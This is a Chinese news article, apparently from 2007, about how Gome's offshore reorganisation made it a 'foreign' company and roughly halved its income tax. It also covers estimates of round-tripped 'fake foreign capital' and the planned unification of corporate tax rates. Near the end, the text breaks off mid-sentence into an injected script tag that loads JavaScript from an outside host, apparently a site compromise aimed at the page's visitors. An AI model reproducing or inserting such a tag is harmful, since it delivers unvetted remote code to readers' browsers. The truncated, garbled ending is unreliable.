国美变“外资”两年税收获利近两亿

12年坎坷路,新税改终于再见曙光。去年年底,十届全国人大常委会二十五次会议首次审议企业所得税法草案,业界呼吁了十多年的“两税合并”问题终于纳入了立法程序。据了解,两税合并后,内外资企业的所得税税率统一为25%,老的外资企业可享受5年的过渡期照顾。

两税合并已是多年的辩题,除了时间外,合并也是大势所趋。由于仍可享受五年的过渡照顾期,所以草案一出,外资也和内资一样都表现出了相当积极的态度。但惟独至少还有200亿元的假外资如坐针毡。

据记者调查了解,我国家电连锁业的老大——国美电器自2004年6月摇身一变成为外资企业两年(截至国美电器2006年中期报告)来,单就所得税一项,就获得减免近2个亿。原本一个彻头彻尾的民族企业,只因去海外来了个“中转”就尚且如此,那中国还有至少200亿元类似的“外资”呢?

国美2年税收获利近2亿

众所周知,自1987年国美电器成立以来,就一直植根于国内。直到2004年,资本狂人黄光裕通过一系列眼花缭乱的“左右手互搏术”——先在英属维尔京群岛注册成立一家离岸公司oceantown,然后通过在该地注册的国美控股100%掌控oceantown。从2004年4月20日起,鹏润亿福(黄光裕拥有100%的股权)将国美电器65%的股权转让给oceantown。然后由香港上市公司“中国鹏润”(代码0493)收购oceantown公司,从而持有国美电器65%的股权。这样一来,既达到了国美电器借壳上市的目的,同时也使得自己获得了一个新的光环——外资企业,进而在国内享受着外资的“超国民待遇”。

据国美电器2004年、2005年两年的年度报告以及2006年的中期报告显示,由于国美电器2004年6月份内资身份的转变,所以相应的税收优惠政策也立即生效,下半年其所得税税率实际只有9%。2005年全年和2006年上半年的所得税的实际税率也依次为10.6%和11.2%。而2003年,国美电器所得税的实际税率则近20%。

而据了解,同为家电连锁企业的苏宁,仅仅只因是内资企业,除了在深圳和厦门的一些子公司确定所得税税率为15%以及还有其他一些地方不确定的优惠税收政策外,其他地方的均为33%,折合实际税率也至少在22%左右。

作为国美电器,自2004年变成外资后,其所得税税率无论是跟自己的2003年内资时相比,还是和同行业同业态的苏宁相比,都只有一半左右。据国美电器自己出具的报表显示,2004年度、2005年度以及2006年上半年的所得税分别为7600万、9200万和5900万元。如果从2004年6月国美电器身份转变开始算起截止到2006年上半年,在这短短的两年时间里,国美电器就享受到近2亿元的所得税优惠。这还不算被并购的永乐。

据原永乐电器(0503hk)报表显示,2004年其实际所得税税率为17%,在2004年8月转变成外资后,2005年的实际所得税税率就减为8%了。2004年、2005年两年上缴的所得税也仅仅只是1700万和2900万元。

难怪苏宁电器总裁孙为民曾面对媒体坦言:“苏宁对国家的贡献无疑比国美、永乐大得多。” 苏宁2004、2005两年缴纳所得税达2.73亿元,而国美、永乐同期所得税相加也只有2.1亿元。

还有至少200亿的“假外资”

一个国美尚且如此,更何况在国内其他领域还有更多的“国美”呢?

商务部外资司的统计数据表明,2005年对华投资前10位的国家和地区,来自中国香港、英属维尔京群岛、开曼群岛、萨摩亚等离岸中心的投资大幅增加,实际投入外资超过240亿美元。其中来自中国香港、维尔京群岛的投资远远超过美国、日本、韩国等发达国家。

对此,有分析人士认为,以维尔京群岛、开曼群岛区区弹丸之地,其投资总量竟能超过美国,这其中包括了很多国内资金“中转”的假外资。

商务部研究院梅新育博士曾在接受媒体采访时称:“按照目前学者研究中比较一致的估算,我国每年实际利用外资中,约1/3是国内资本‘留学’后回流形成的‘假外资’。” 有香港的专家甚至认为回流的假外资超过55%。

专家分析,按照2005年中国实际利用外资金额724亿美元计算,当年流入中国的“假外资”金额高达240亿美元。

据了解,中国外汇管理部门近两年检查,境内企业通过各种方式转变企业身份再投资国内的现象不少,其中东南沿海地区尤为严重。目前已发现的近十起案件中,“假外资”金额合计达5000多万美元。该部门负责人也认为,这仅仅是监管部门目前已查处的资金量,还有更多涉嫌“假外资”的资金有待查实。

两税合并只是开始

“很多内资企业千方百计向外资方向靠,究其原因,税收优惠是一个重要的因素。”国家税务总局国际税务司税政处副处长何俊雄分析说。

何俊雄进一步解释说,多年来我国对外资所实行的超国民待遇,尤其是税收优惠,经过测算,外资企业所得税实际税率为13%左右,内资企业所得税税率为26%左右——内资企业税负比外资企业多一倍左右。这就是为什么很多内资?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态